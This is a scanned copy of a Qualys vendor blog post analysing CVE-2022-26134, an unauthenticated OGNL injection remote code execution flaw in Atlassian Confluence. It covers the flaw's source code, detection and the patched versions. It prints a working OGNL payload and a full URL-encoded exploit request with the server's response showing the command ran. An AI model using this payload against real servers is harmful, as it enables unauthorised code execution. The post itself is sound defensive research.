blog.qualys.com Open in urlscan Pro
35.230.125.173  Public Scan

Submitted URL: https://blog.qualys.com/vulnerabilities-threat-research/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execu...
Effective URL: https://blog.qualys.com/qualys-insights/2022/06/29/atlassian-confluence-ognl-injection-remote-code-execution-rce-vulnera...
Submission: On August 13 via api from BG — Scanned from DE

Form analysis 2 forms found in the DOM

POST https://blog.qualys.com/wp-comments-post.php?wpe-comment-post=qualysblog

<form action="https://blog.qualys.com/wp-comments-post.php?wpe-comment-post=qualysblog" method="post" id="commentform" class="comment-form" novalidate="">
  <p class="comment-notes"><span id="email-notes">Your email address will not be published.</span> <span class="required-field-message">Required fields are marked <span class="required">*</span></span></p>
  <p class="comment-form-comment"><label for="comment">Comment</label><textarea id="comment" name="comment" cols="45" rows="6" minlength="10" placeholder="Share your thoughts" aria-required="true" required=""></textarea></p>
  <div class="field-wrapper">
    <p class="comment-form-author"><label for="author">Name</label><input id="author" name="author" type="text" placeholder="Name" value="" size="20" minlength="4" required=""></p>
    <p class="comment-form-email"><label for="email">Email</label><input id="email" name="email" type="email" placeholder="Email" value="" size="30" required=""></p>
  </div>
  <p class="comment-form-cookies-consent"><input id="wp-comment-cookies-consent" name="wp-comment-cookies-consent" type="checkbox" value="yes"> <label for="wp-comment-cookies-consent">Save my name, email, and website in this browser for the next time
      I comment.</label></p>
  <div class="g-recaptcha" data-sitekey="6Lc58QoqAAAAALGk25W8X6NC5w_JwiPPf_JA78rv">
    <div style="width: 304px; height: 78px;">
      <div><iframe title="reCAPTCHA" width="304" height="78" role="presentation" name="a-n2l9byemjoi1" frameborder="0" scrolling="no"
          sandbox="allow-forms allow-popups allow-same-origin allow-scripts allow-top-navigation allow-modals allow-popups-to-escape-sandbox allow-storage-access-by-user-activation"
          src="https://www.google.com/recaptcha/api2/anchor?ar=1&amp;k=6Lc58QoqAAAAALGk25W8X6NC5w_JwiPPf_JA78rv&amp;co=aHR0cHM6Ly9ibG9nLnF1YWx5cy5jb206NDQz&amp;hl=de&amp;v=_ZpyzC9NQw3gYt1GHTrnprhx&amp;size=normal&amp;cb=22gvo62a93gv"></iframe></div>
      <textarea id="g-recaptcha-response" name="g-recaptcha-response" class="g-recaptcha-response" style="width: 250px; height: 40px; border: 1px solid rgb(193, 193, 193); margin: 10px 25px; padding: 0px; resize: none; display: none;"></textarea>
    </div><iframe style="display: none;"></iframe>
  </div>
  <p class="form-submit"><input name="submit" type="submit" id="submit" class="submit" value="POST"> <input type="hidden" name="comment_post_ID" value="30235" id="comment_post_ID">
    <input type="hidden" name="comment_parent" id="comment_parent" value="0">
  </p>
  <p style="display: none;"><input type="hidden" id="akismet_comment_nonce" name="akismet_comment_nonce" value="60e3caad02"></p><input type="hidden" id="ct_checkjs_72da7fd6d1302c0a159f6436d01e9eb0" name="ct_checkjs" value="1749386676">
  <script>
    setTimeout(function() {
      var ct_input_name = "ct_checkjs_72da7fd6d1302c0a159f6436d01e9eb0";
      if (document.getElementById(ct_input_name) !== null) {
        var ct_input_value = document.getElementById(ct_input_name).value;
        document.getElementById(ct_input_name).value = document.getElementById(ct_input_name).value.replace(ct_input_value, '1749386676');
      }
    }, 1000);
  </script>
  <p style="display: none !important;" class="akismet-fields-container" data-prefix="ak_"><label>Δ<textarea name="ak_hp_textarea" cols="45" rows="8" maxlength="100"></textarea></label><input type="hidden" id="ak_js_1" name="ak_js"
      value="1723555562010">
    <script>
      document.getElementById("ak_js_1").setAttribute("value", (new Date()).getTime());
    </script>
  </p><input type="hidden" id="ct_bot_detector_event_token_6250" name="ct_bot_detector_event_token" value="76057460958170c7757cc3d5c610d9ba5c303e2ee02214299ca567b3bfb7b200"><input type="hidden" id="apbct_visible_fields_0" name="apbct_visible_fields"
    value="eyIwIjp7InZpc2libGVfZmllbGRzIjoiY29tbWVudCBhdXRob3IgZW1haWwgYWtfaHBfdGV4dGFyZWEiLCJ2aXNpYmxlX2ZpZWxkc19jb3VudCI6NCwiaW52aXNpYmxlX2ZpZWxkcyI6ImctcmVjYXB0Y2hhLXJlc3BvbnNlIGNvbW1lbnRfcG9zdF9JRCBjb21tZW50X3BhcmVudCBha2lzbWV0X2NvbW1lbnRfbm9uY2UgYWtfanMgY3RfYm90X2RldGVjdG9yX2V2ZW50X3Rva2VuIGN0X25vX2Nvb2tpZV9oaWRkZW5fZmllbGQiLCJpbnZpc2libGVfZmllbGRzX2NvdW50Ijo3fX0="><input
    name="ct_no_cookie_hidden_field"
    value="_ct_no_cookie_data_eyJjdF9jaGVja2VkX2VtYWlscyI6IjAiLCJjdF9wc190aW1lc3RhbXAiOiIxNzIzNTU1NTYyIiwiY3RfY29va2llc190eXBlIjoibm9uZSIsImFwYmN0X2hlYWRsZXNzIjoiZmFsc2UiLCJhcGJjdF9wYWdlX2hpdHMiOjEsImFwYmN0X3Zpc2libGVfZmllbGRzIjoiMCIsImFwYmN0X3NpdGVfbGFuZGluZ190cyI6IjE3MjM1NTQ5OTIiLCJhcGJjdF9jb29raWVzX3Rlc3QiOiIlN0IlMjJjb29raWVzX25hbWVzJTIyJTNBJTVCJTIyYXBiY3RfdGltZXN0YW1wJTIyJTJDJTIyYXBiY3Rfc2l0ZV9sYW5kaW5nX3RzJTIyJTVEJTJDJTIyY2hlY2tfdmFsdWUlMjIlM0ElMjJmMTY4OGQ5NDkzMTk3OTJiZWI4YWM1ODkxY2JlNjBlZCUyMiU3RCIsImN0X2ZrcF90aW1lc3RhbXAiOiIwIiwiY3RfcG9pbnRlcl9kYXRhIjoiJTVCJTVEIiwiY3Rfc2NyZWVuX2luZm8iOiIlN0IlMjJmdWxsV2lkdGglMjIlM0ExNjAwJTJDJTIyZnVsbEhlaWdodCUyMiUzQTEzMTczJTJDJTIydmlzaWJsZVdpZHRoJTIyJTNBMTYwMCUyQyUyMnZpc2libGVIZWlnaHQlMjIlM0ExMjAwJTdEIiwiYXBiY3RfaWZyYW1lc19wcm90ZWN0ZWQiOltdLCJjdF9jaGVja2pzIjoiMTc0OTM4NjY3NiIsImN0X3RpbWV6b25lIjoiMiIsImFwYmN0X3BpeGVsX3VybCI6Imh0dHBzJTNBJTJGJTJGbW9kZXJhdGUxLXY0LmNsZWFudGFsay5vcmclMkZwaXhlbCUyRjMwMjQ3Yjc1YTJjZjg3MGYzYmQ3ZWFmYjM1ZGY5NmVjLmdpZiIsImFwYmN0X3Nlc3Npb25faWQiOiJ1bXBoempwIiwiYXBiY3Rfc2Vzc2lvbl9jdXJyZW50X3BhZ2UiOiJodHRwczovL2Jsb2cucXVhbHlzLmNvbS9xdWFseXMtaW5zaWdodHMvMjAyMi8wNi8yOS9hdGxhc3NpYW4tY29uZmx1ZW5jZS1vZ25sLWluamVjdGlvbi1yZW1vdGUtY29kZS1leGVjdXRpb24tcmNlLXZ1bG5lcmFiaWxpdHktY3ZlLTIwMjItMjYxMzQiLCJ0eXBvIjpbeyJpc0F1dG9GaWxsIjpmYWxzZSwiaXNVc2VCdWZmZXIiOmZhbHNlLCJzcGVlZERlbHRhIjowLCJmaXJzdEtleVRpbWVzdGFtcCI6MCwibGFzdEtleVRpbWVzdGFtcCI6MCwibGFzdERlbHRhIjowLCJjb3VudE9mS2V5IjowfSx7ImlzQXV0b0ZpbGwiOmZhbHNlLCJpc1VzZUJ1ZmZlciI6ZmFsc2UsInNwZWVkRGVsdGEiOjAsImZpcnN0S2V5VGltZXN0YW1wIjowLCJsYXN0S2V5VGltZXN0YW1wIjowLCJsYXN0RGVsdGEiOjAsImNvdW50T2ZLZXkiOjB9XX0="
    type="hidden" class="apbct_special_field ct_no_cookie_hidden_field">
</form>

<form id="jp-carousel-comment-form">
  <label for="jp-carousel-comment-form-comment-field" class="screen-reader-text">Write a Comment...</label>
  <textarea name="comment" class="jp-carousel-comment-form-field jp-carousel-comment-form-textarea" id="jp-carousel-comment-form-comment-field" placeholder="Write a Comment..."></textarea>
  <div id="jp-carousel-comment-form-submit-and-info-wrapper">
    <div id="jp-carousel-comment-form-commenting-as">
      <fieldset>
        <label for="jp-carousel-comment-form-email-field">Email (Required)</label>
        <input type="text" name="email" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-email-field">
      </fieldset>
      <fieldset>
        <label for="jp-carousel-comment-form-author-field">Name (Required)</label>
        <input type="text" name="author" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-author-field">
      </fieldset>
      <fieldset>
        <label for="jp-carousel-comment-form-url-field">Website</label>
        <input type="text" name="url" class="jp-carousel-comment-form-field jp-carousel-comment-form-text-field" id="jp-carousel-comment-form-url-field">
      </fieldset>
    </div>
    <input type="submit" name="submit" class="jp-carousel-comment-form-button" id="jp-carousel-comment-form-button-submit" value="Post Comment">
  </div>
  <input type="hidden" id="ct_bot_detector_event_token_4881" name="ct_bot_detector_event_token" value="76057460958170c7757cc3d5c610d9ba5c303e2ee02214299ca567b3bfb7b200"><input name="ct_no_cookie_hidden_field"
    value="_ct_no_cookie_data_eyJjdF9jaGVja2VkX2VtYWlscyI6IjAiLCJjdF9wc190aW1lc3RhbXAiOiIxNzIzNTU1NTYyIiwiY3RfY29va2llc190eXBlIjoibm9uZSIsImFwYmN0X2hlYWRsZXNzIjoiZmFsc2UiLCJhcGJjdF9wYWdlX2hpdHMiOjEsImFwYmN0X3Zpc2libGVfZmllbGRzIjoiMCIsImFwYmN0X3NpdGVfbGFuZGluZ190cyI6IjE3MjM1NTQ5OTIiLCJhcGJjdF9jb29raWVzX3Rlc3QiOiIlN0IlMjJjb29raWVzX25hbWVzJTIyJTNBJTVCJTIyYXBiY3RfdGltZXN0YW1wJTIyJTJDJTIyYXBiY3Rfc2l0ZV9sYW5kaW5nX3RzJTIyJTVEJTJDJTIyY2hlY2tfdmFsdWUlMjIlM0ElMjJmMTY4OGQ5NDkzMTk3OTJiZWI4YWM1ODkxY2JlNjBlZCUyMiU3RCIsImN0X2ZrcF90aW1lc3RhbXAiOiIwIiwiY3RfcG9pbnRlcl9kYXRhIjoiJTVCJTVEIiwiY3Rfc2NyZWVuX2luZm8iOiIlN0IlMjJmdWxsV2lkdGglMjIlM0ExNjAwJTJDJTIyZnVsbEhlaWdodCUyMiUzQTEzMTczJTJDJTIydmlzaWJsZVdpZHRoJTIyJTNBMTYwMCUyQyUyMnZpc2libGVIZWlnaHQlMjIlM0ExMjAwJTdEIiwiYXBiY3RfaWZyYW1lc19wcm90ZWN0ZWQiOltdLCJjdF9jaGVja2pzIjoiMTc0OTM4NjY3NiIsImN0X3RpbWV6b25lIjoiMiIsImFwYmN0X3BpeGVsX3VybCI6Imh0dHBzJTNBJTJGJTJGbW9kZXJhdGUxLXY0LmNsZWFudGFsay5vcmclMkZwaXhlbCUyRjMwMjQ3Yjc1YTJjZjg3MGYzYmQ3ZWFmYjM1ZGY5NmVjLmdpZiIsImFwYmN0X3Nlc3Npb25faWQiOiJ1bXBoempwIiwiYXBiY3Rfc2Vzc2lvbl9jdXJyZW50X3BhZ2UiOiJodHRwczovL2Jsb2cucXVhbHlzLmNvbS9xdWFseXMtaW5zaWdodHMvMjAyMi8wNi8yOS9hdGxhc3NpYW4tY29uZmx1ZW5jZS1vZ25sLWluamVjdGlvbi1yZW1vdGUtY29kZS1leGVjdXRpb24tcmNlLXZ1bG5lcmFiaWxpdHktY3ZlLTIwMjItMjYxMzQiLCJ0eXBvIjpbeyJpc0F1dG9GaWxsIjpmYWxzZSwiaXNVc2VCdWZmZXIiOmZhbHNlLCJzcGVlZERlbHRhIjowLCJmaXJzdEtleVRpbWVzdGFtcCI6MCwibGFzdEtleVRpbWVzdGFtcCI6MCwibGFzdERlbHRhIjowLCJjb3VudE9mS2V5IjowfSx7ImlzQXV0b0ZpbGwiOmZhbHNlLCJpc1VzZUJ1ZmZlciI6ZmFsc2UsInNwZWVkRGVsdGEiOjAsImZpcnN0S2V5VGltZXN0YW1wIjowLCJsYXN0S2V5VGltZXN0YW1wIjowLCJsYXN0RGVsdGEiOjAsImNvdW50T2ZLZXkiOjB9XX0="
    type="hidden" class="apbct_special_field ct_no_cookie_hidden_field">
</form>

Text Content

 * Discussions
   * Back to main menu
   * BROWSE BY TOPICBROWSE BY TOPIC
   * Global IT Asset Management
   * IT Security
   * Compliance
   * Cloud & Container Security
   * Web App Security
   * Certificate Security & SSL Labs
   * Developer API
   * Cloud Platform
   * Start a discussion
 * Blog
 * Training
 * Docs
 * Support
 * Trust
 * 

Community

SearchLoading


Blog Home


ATLASSIAN CONFLUENCE OGNL INJECTION REMOTE CODE EXECUTION (RCE) VULNERABILITY
(CVE-2022-26134)

Mayank Deshmukh, Senior Web Application Signatures Engineer
June 29, 2022December 23, 2022 - 10 min read
31

Last updated on: December 23, 2022

TABLE OF CONTENTS

 * About CVE-2022-26134
 * Exploit Analysis
 * Source Code Analysis
 * Detecting the Vulnerability with Qualys WAS
 * Solution
 * Credits
 * References:
 * Contributors

On June 02, 2022, Atlassian published a security advisory about a critical
severity Unauthenticated Remote Code Execution vulnerability affecting
Confluence Server and Data Center. According to the advisory, the vulnerability
is being actively exploited and Confluence Server and Data Center versions after
1.3.0 are affected. The vulnerability is tracked as CVE-2022-26134 with 9.8
CVSSv3 score with multiple proof of concept exploits released by security
researchers on GitHub.   

Qualys Web Application Scanning released QID 150523 on June 08, 2022, to detect
CVE-2022-26134, the detection sends HTTP GET request with a specially crafted
OGNL payload to determine the vulnerability on the target Confluence
application. The OGNL payload creates a custom HTTP response header containing
the output of the system command executed on Linux and Windows systems. The
detection also consists of a Qualys customized OGNL payload which is
platform-independent, eliminating false positives and works irrespective of the
host operating system by creating a custom HTTP response header with Qualys
specified value.


ABOUT CVE-2022-26134

CVE-2022-26134 is an unauthenticated OGNL Injection remote code execution
vulnerability affecting Confluence Server and Data Center versions after 1.3.0.
In order to exploit a vulnerable server, a remote attacker can send a malicious
HTTP GET request with an OGNL payload in the URI. The vulnerable server once
exploited it would allow the attacker to execute commands remotely with user
privileges running the Confluence application. The vulnerability is fixed in
Confluence versions 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4, 7.17.4 and 7.18.1.


OGNL INJECTION

Object-Graph Navigation Language (OGNL) is an open-source Expression Language
(EL) used for getting and setting the properties of Java objects. An OGNL
Injection occurs when there is insufficient validation of user-supplied data,
and the EL interpreter attempts to interpret it enabling attackers to inject
their own EL code.

In the case of CVE-2022-26134, the RCE attack is not complex in nature. The
attack can be executed by simply sending the OGNL payload in the request URI. 
The payload can be crafted to add a custom HTTP response header that prints the
output of successfully executed remote commands.

RCE Payload

${(#a=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec("id").getInputStream(),"utf-8")).(@com.opensymphony.webwork.ServletActionContext@getResponse().setHeader("X-Qualys-Response",#a))}



Breaking the above payload, variable a is assigned the value of an expression
which calls various static methods using syntax @class@method(args), where
java.lang.Runtime class calls exec method which executes id command and the
output is stored in the variable a.

Next, from package com.opensymphony.xwork2 class ServletActionContext is called
which uses getResponse and setHeader method to fetch response of id system
command in X-Qualys-Response custom header.


EXPLOIT POC

REQUEST

GET /%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/ HTTP/1.1
Host: 127.0.0.1:8090
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:101.0) Gecko/20100101 Firefox/101.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1



RESPONSE

HTTP/1.1 302 
Cache-Control: no-store
Expires: Thu, 01 Jan 1970 00:00:00 GMT
X-Confluence-Request-Time: 1655819234897
Set-Cookie: JSESSIONID=7AE586C9E49E2301BA33E5A1552D8C6F; Path=/; HttpOnly
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Security-Policy: frame-ancestors 'self'
X-Qualys-Response: uid=2002(confluence) gid=2002(confluence) groups=2002(confluence)
Location: /login.action?os_destination=%2F%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D%2Findex.action&permissionViolation=true
Content-Type: text/html;charset=UTF-8
Content-Length: 0
Date: Tue, 21 Jun 2022 13:47:14 GMT
Connection: close



Once the exploit is triggered it can be seen X-Qualys-Response HTTP response
header contains the output of the id system command resulting in successful
exploitation of this remote code execution vulnerability.


EXPLOIT ANALYSIS

While analyzing the above RCE request, the Qualys WAS research team came across
the Catalina log file in Confluence Server stored at
/opt/atlassian/confluence/logs/catalina.YYYY-MM-DD.log which had multiple
entries of web requests sent, along with output from stdout and stderr.
Following is the snippet from the log file printing stack trace for the RCE
request:

--------------------------------------------------------------------------------

07-Jun-2022 10:37:00.565 WARNING [Catalina-utility-4] org.apache.catalina.valves.StuckThreadDetectionValve.notifyStuckThreadDetected Thread [http-nio-8090-exec-17] (id=[347]) has been active for [75,417] milliseconds (since [6/7/22 10:35 AM]) to serve the same request for [http://127.0.0.1:8090/%24%7B%28%23a%3D%40org.apache.commons.io.IOUtils%40toString%28%40java.lang.Runtime%40getRuntime%28%29.exec%28%22id%22%29.getInputStream%28%29%2C%22utf-8%22%29%29.%28%40com.opensymphony.webwork.ServletActionContext%40getResponse%28%29.setHeader%28%22X-Qualys-Response%22%2C%23a%29%29%7D/] and may be stuck (configured threshold for this StuckThreadDetectionValve is [60] seconds). There is/are [1] thread(s) in total that are monitored by this Valve and
may be stuck.
        java.lang.Throwable
                at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1247)
                at org.apache.catalina.loader.WebappClassLoaderBase.loadClass(WebappClassLoaderBase.java:1215)
                at ognl.OgnlParser.primaryExpression(OgnlParser.java:1494)
                at ognl.OgnlParser.navigationChain(OgnlParser.java:1245)
                [..SNIP..]
                at ognl.Ognl.parseExpression(Ognl.java:113)
                at com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196)
                at com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)
                at com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)
                at com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)
                at com.opensymphony.xwork.DefaultActionInvocation.executeResult(DefaultActionInvocation.java:263)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:187)
                at com.atlassian.confluence.xwork.FlashScopeInterceptor.intercept(FlashScopeInterceptor.java:21)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.atlassian.confluence.core.actions.LastModifiedInterceptor.intercept(LastModifiedInterceptor.java:27)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.atlassian.confluence.core.ConfluenceAutowireInterceptor.intercept(ConfluenceAutowireInterceptor.java:44)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeAndHandleExceptions(TransactionalInvocation.java:61)
                at com.atlassian.xwork.interceptors.TransactionalInvocation.invokeInTransaction(TransactionalInvocation.java:51)
                at com.atlassian.xwork.interceptors.XWorkTransactionInterceptor.intercept(XWorkTransactionInterceptor.java:50)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.atlassian.confluence.xwork.SetupIncompleteInterceptor.intercept(SetupIncompleteInterceptor.java:61)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.atlassian.confluence.security.interceptors.SecurityHeadersInterceptor.intercept(SecurityHeadersInterceptor.java:26)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.opensymphony.xwork.interceptor.AroundInterceptor.intercept(AroundInterceptor.java:35)
                at com.opensymphony.xwork.DefaultActionInvocation.invoke(DefaultActionInvocation.java:165)
                at com.opensymphony.xwork.DefaultActionProxy.execute(DefaultActionProxy.java:115)
                at com.atlassian.confluence.servlet.ConfluenceServletDispatcher.serviceAction(ConfluenceServletDispatcher.java:56)
                at com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
                at javax.servlet.http.HttpServlet.service(HttpServlet.java:764)
                at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:227)
at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:162)
                at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:53)
[..SNIP..]
at org.apache.tomcat.util.threads.TaskThread$WrappingRunnable.run(TaskThread.java:61)
                at java.base@11.0.15/java.lang.Thread.run(Thread.java:829)

--------------------------------------------------------------------------------

Analyzing the stack,
com.opensymphony.webwork.dispatcher.ServletDispatcher.service(ServletDispatcher.java:199)
appears to be the source where the injection occurs. The execution flows up to
com.opensymphony.xwork.ActionChainResult.execute(ActionChainResult.java:95)
where execute method calls translateVariables method from TextParseUtil class
com.opensymphony.xwork.util.TextParseUtil.translateVariables(TextParseUtil.java:39)
which appears to be sink where the OGNL expression evaluation takes place
invoking findValue  method from OgnlValueStack class
com.opensymphony.xwork.util.OgnlValueStack.findValue(OgnlValueStack.java:141)
and goes forward parsing the OGNL expression with
com.opensymphony.xwork.util.OgnlUtil.compile(OgnlUtil.java:196) and multiple
other classes.


SOURCE CODE ANALYSIS

To have a better understanding of the execution flow of this RCE vulnerability,
it’s important that we dive into the source code of these classes:

Starting off with ServletDispatcher class:

public static String getNamespaceFromServletPath(String servletPath) {
        servletPath = servletPath.substring(0, servletPath.lastIndexOf("/"));
        return servletPath;
    }




ServletDispatcher

The getNamespaceFromServletPath is used to obtain the namespace to which an
Action belongs.

For example : When a malicious request http://127.0.0.1:8090/<RCE payload>/ is
fired, the line servletPath.substring(0, servletPath.lastIndexOf("/")); will
consider everything before the last trailing slash as a namespace. Hence
namespace <RCE payload> is created from the malicious requested URI.

As a result, the last trailing slash is an essential component for the exploit
to work, if omitted the payload won’t work.

This namespace is further utilized by execute method using this.namespace
expression inside ActionChainResult:

public void execute(final ActionInvocation invocation) throws Exception {
        if (this.namespace == null) {
            this.namespace = invocation.getProxy().getNamespace();
        }
        final OgnlValueStack stack = ActionContext.getContext().getValueStack();
        final String finalNamespace = TextParseUtil.translateVariables(this.namespace, stack);
        final String finalActionName = TextParseUtil.translateVariables(this.actionName, stack);
        if (this.isInChainHistory(finalNamespace, finalActionName)) {
            throw new XworkException("infinite recursion detected");
        }




ActionChainResult

Here, translateVariables method from TextParseUtil class is called on
this.namespace expression which converts all instances of ${...} in expression
to the value returned by a call to OgnlValueStack.findValue.

Going forward with TextParseUtil class code:

package com.opensymphony.xwork.util;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
public class TextParseUtil
{
    public static String translateVariables(final String expression, final OgnlValueStack stack) {
        final StringBuilder sb = new StringBuilder();
        final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}");
        final Matcher m = p.matcher(expression);
        int previous = 0;
        while (m.find()) {
            final String g = m.group(1);
            final int start = m.start();
            String value;
            try {
                final Object o = stack.findValue(g);
                value = ((o == null) ? "" : o.toString());
            }
            catch (Exception ignored) {
                value = "";
            }
            sb.append(expression.substring(previous, start)).append(value);
            previous = m.end();
        }
        if (previous < expression.length()) {
            sb.append(expression.substring(previous));
        }
        return sb.toString();
    }
}




TextParseUtil

translateVariables method here takes two parameters expression which is
basically a string which hasn’t been translated and secondly a value stack which
allows dynamic OGNL expressions to be evaluated against it.

Inside final Pattern p = Pattern.compile("\\$\\{([^}]*)\\}"); class Pattern
defines a pattern to be searched and then it’s created using Pattern.compile()
method.

In Java \ single backslash is an escape character for strings. Hence \\ double
backslash are used in above regex \\$\\{([^}]*)\\} to escape $, {, } characters.

Next line final Matcher m = p.matcher(expression); uses matcher() method to
search for the pattern in a string, for example : ${qualys.rce.payload} pattern
is created.  

Further contents of round brackets are extracts from the regular expression
\\$\\{([^}]*)\\} to match the expression using final String g = m.group(1); and
pass it to final Object o = stack.findValue(g);

And finally, findValue finds the value by evaluating the given expression
against the stack in the default search order.

As a result, when a remote attacker makes a malicious request URI
http://127.0.0.1:8090/${rce_payload}/, first ${rce_payload} gets translated into
a namespace and then using TextParseUtil.translateVariables the payload is
extracted and henceforth using findValue the OGNL expression rce_payload gets
evaluated causing Remote Code Execution.


DETECTING THE VULNERABILITY WITH QUALYS WAS

Customers can detect this vulnerability on the target Confluence application
with Qualys Web Application Scanning using the following QID:

 * 150523: Atlassian Confluence Server and Data Center OGNL Injection Remote
   Code Execution (RCE) Vulnerability (CVE-2022-26134)


QUALYS WAS REPORT

Once the vulnerability is successfully detected, users shall see the following
results in the vulnerability scan report:


SOLUTION

Due to the Critical severity and active exploitation of this vulnerability,
organizations using the Confluence application are strongly advised to upgrade
their Confluence application to version 7.4.17, 7.13.7, 7.14.3, 7.15.2, 7.16.4,
7.17.4, 7.18.1 or later version to remediate CVE-2022-26134 vulnerability. More
information regarding patching and workaround can be referred to Confluence
Security Advisory.


CREDITS

Confluence Security Advisory:
https://confluence.atlassian.com/doc/confluence-security-advisory-2022-06-02-1130377146.html

CVE Details:

 * https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-26134
 * https://nvd.nist.gov/vuln/detail/CVE-2022-26134

Credit for the vulnerability discovery goes to Volexity.


REFERENCES:

 * https://twitter.com/ptswarm/status/1533805332409069568/photo/1


CONTRIBUTORS

 * Sheela Sarva, Director, Quality Engineering, Web Application Security, Qualys
 * Rajesh Kumbhar, Senior Software Engineer, Qualys




RELATED

Atlassian Confluence: Questions for Confluence App Hardcoded Credentials
Vulnerability (CVE-2022-26138)August 17, 2022In "Product and Tech"

Atlassian Confluence Broken Access Control Vulnerability
(CVE-2023-22515)November 15, 2023In "Vulnerabilities and Threat Research"

Qualys Tackles 2022’s Top Routinely Exploited Cyber Vulnerabilities August 24,
2023In "Qualys Insights"

Written by
Mayank Deshmukh, Senior Web Application Signatures Engineer
Write to Mayank at madeshmukh@qualys.com
Like
31
Share
 * 
 * 
 * 
 * 

RELATED CONTENT

atlassian, confluence, ognl
Share your Comments


COMMENTS CANCEL REPLY

Your email address will not be published. Required fields are marked *

Comment

Name

Email

Save my name, email, and website in this browser for the next time I comment.







Δ


JOIN THE DISCUSSION TODAY!

Learn more about Qualys and industry best practices.

Share what you know and build a reputation.

Secure your systems and improve security for everyone.

Start a discussion
 * Twitter
 * LinkedIn
 * Facebook
 * YouTube
 * Vimeo


QUALYS

 * Qualys.com
 * Qualys Community Edition
 * Qualys Merchandise Store


QUALYS COMMUNITIES

 * Vulnerability Management
 * Policy Compliance
 * PCI Compliance
 * Web App Scanning
 * Web App Firewall
 * Continuous Monitoring
 * Security Assessment Questionnaire
 * Threat Protection
 * Asset Inventory
 * AssetView
 * CMDB Sync
 * Endpoint Detection & Response
 * Security Configuration Assessment
 * File Integrity Monitoring
 * Cloud Inventory
 * Certificate Inventory
 * Container Security
 * Cloud Security Assessment
 * Certificate Assessment
 * Out-of-band Configuration Assessment
 * Patch Management
 * Developer API
 * Cloud Agent
 * Dashboards & Reporting


DISCUSSIONS

 * All discussions
 * Global IT Asset Management
 * IT Security
 * Compliance
 * Cloud & Container Security
 * Web App Security
 * Certificate Security & SSL Labs
 * Developer API


BLOG

 * All posts
 * Qualys Insights
 * Product and Tech
 * Vulnerabilities and Threat Research
 * Release Notifications


TRAINING

 * Overview
 * Certified Courses
 * Video Library
 * Instructor-led Training


DOCS

 * Overview
 * Release Notes


SUPPORT

 * Support Portal

© 2024 Qualys, Inc. All rights reserved. Privacy Policy . Accessibility

 

Loading Comments...

 

Write a Comment...
Email (Required) Name (Required) Website


Notice. We use cookies to optimize our website. By continuing to use our site,
you accept our privacy policy.

Yes, I accept Cookies No thanks